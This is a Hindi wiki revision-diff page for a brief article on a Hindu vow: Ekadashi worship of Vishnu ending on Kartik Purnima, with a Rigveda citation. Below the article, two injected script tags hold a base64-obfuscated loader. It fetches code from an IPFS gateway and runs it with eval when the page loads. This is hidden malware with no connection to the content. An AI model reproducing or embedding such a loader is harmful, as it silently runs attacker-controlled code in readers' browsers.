व्यवस्थापन (वार्ता | योगदान) छो (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "") |
आदित्य चौधरी (वार्ता | योगदान) छो (Text replace - "उल्लखित" to "उल्लिखित") |
||
पंक्ति 1: | पंक्ति 1: | ||
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है। | ||
*[[आषाढ़]] [[शुक्ल पक्ष]] की [[एकादशी]] पर [[विष्णु]] को एक सौ सहस्र नमस्कार देना चाहिए। | *[[आषाढ़]] [[शुक्ल पक्ष]] की [[एकादशी]] पर [[विष्णु]] को एक सौ सहस्र नमस्कार देना चाहिए। | ||
*[[कार्तिक]] [[पूर्णिमा]] को समाप्त; 'अतोदेवा' <ref>([[ॠगवेद]] 1|22|16-21)</ref> के साथ विष्णु प्रतिमा की पूजा करनी चाहिए।<ref>स्मृतिकौस्तुभ (406-407)</ref> | *[[कार्तिक]] [[पूर्णिमा]] को समाप्त; 'अतोदेवा' <ref>([[ॠगवेद]] 1|22|16-21)</ref> के साथ विष्णु प्रतिमा की पूजा करनी चाहिए।<ref>स्मृतिकौस्तुभ (406-407)</ref> |
18:41, 25 फ़रवरी 2011 का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- आषाढ़ शुक्ल पक्ष की एकादशी पर विष्णु को एक सौ सहस्र नमस्कार देना चाहिए।
- कार्तिक पूर्णिमा को समाप्त; 'अतोदेवा' [1] के साथ विष्णु प्रतिमा की पूजा करनी चाहिए।[2]
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>